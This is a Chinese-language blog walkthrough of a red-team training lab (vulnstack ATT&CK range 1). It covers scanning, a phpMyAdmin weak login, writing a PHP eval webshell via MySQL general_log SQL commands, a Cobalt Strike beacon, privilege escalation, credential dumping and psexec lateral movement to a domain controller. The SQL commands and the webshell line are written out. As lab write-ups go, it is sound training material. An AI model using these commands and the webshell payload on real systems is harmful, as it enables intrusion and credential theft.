banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

ATT&CK红队评估实战靶场-1

简介#

靶场来自:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

简单的一个靶场,本来用作学生的考核的,但是没用到,横向的域渗透也只是用了 cobalt strike 上的 psexec 模块,主要的内容是熟悉一些渗透的流程。

靶场有很多漏洞都没法复现成功,环境会有一些问题,但整体的流程没问题。

环境搭建#

需要关闭加速 3D 图形,不然无法启动虚拟机

image

拓扑图如下:

image

网络设置如下,用到 VMnet2 和 VMnet8:

image

web 服务器(VM1) - win7(双网卡,NAT 模式 + vmnet2(host-only))

image

ip:192.168.111.128 和 192.168.52.143

开启 phpstudy

image

DNS 指向 DC

image

win2008 DC(VM3)

ip:192.168.52.138

image

win03 域成员(vm2)

ip:192.168.52.141

image

查看当前的域

image

渗透过程#

信息收集#

nmap 端口扫描#

image

image

御剑扫描#

image

目录扫描#

image

phpinfo 页面

image

phpmyadmin 登录#

若密码:root/root

image

phpmyadmin getshell#

通过日志 getshell

查看日志是否开启记录及日志存储位置:SHOW VARIABLES LIKE "general_log%";
image

开启日志:set global general_log='on';
查询是否开启:SHOW VARIABLES LIKE "general_log%"

image

设置写入的日志文件为恶意文件,需要先找到网站目录

image

设置日志路径:set global general_log_file ='C:\\phpStudy\\WWW\\s.php';

设置成功

image

准备工作好后,开始写马。只需要通过 sql 语句查询即可

select "<?php @eval($_POST[cmd]);?>";

image

访问 webshell:
http://192.168.111.128/ss.php

image

蚁剑连接:

image

网站的 80 端口是 yxcms

image

登录后台,一样可以执行 sql 语句

image

webshell 查看 ip 地址

image

发现双网卡

cs 启动#

上线到 cobalt strike 上操作

服务端

image

客户端

建立监听

image

image

生成 payload

image

payload 上传至蚁剑执行

image

运行 exe,cs 上线

image

sleep 0

image

shell whoami

image

提权#

cs 上用 getsystem 一键提权,获取 system 权限

image

内网信息收集#

image

点击 target 发现三台机器,如果点开没有,端口扫描一下就有了

image

dumphash

image

获取明文密码

image

横向移动#

获取到密码后,通过 psexec 横向移动,这里主要是三台机器的密码都是一样的,如果不一样,就无法通过 smb 横向移动了。

image

选择 psexec64,64 位

image

image

获取域控服务器

image

image

image

同样的方式控制 141,win2003 那台域成员机器

image

需要选择 psexec,32 位

image

查看下 ip

image

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.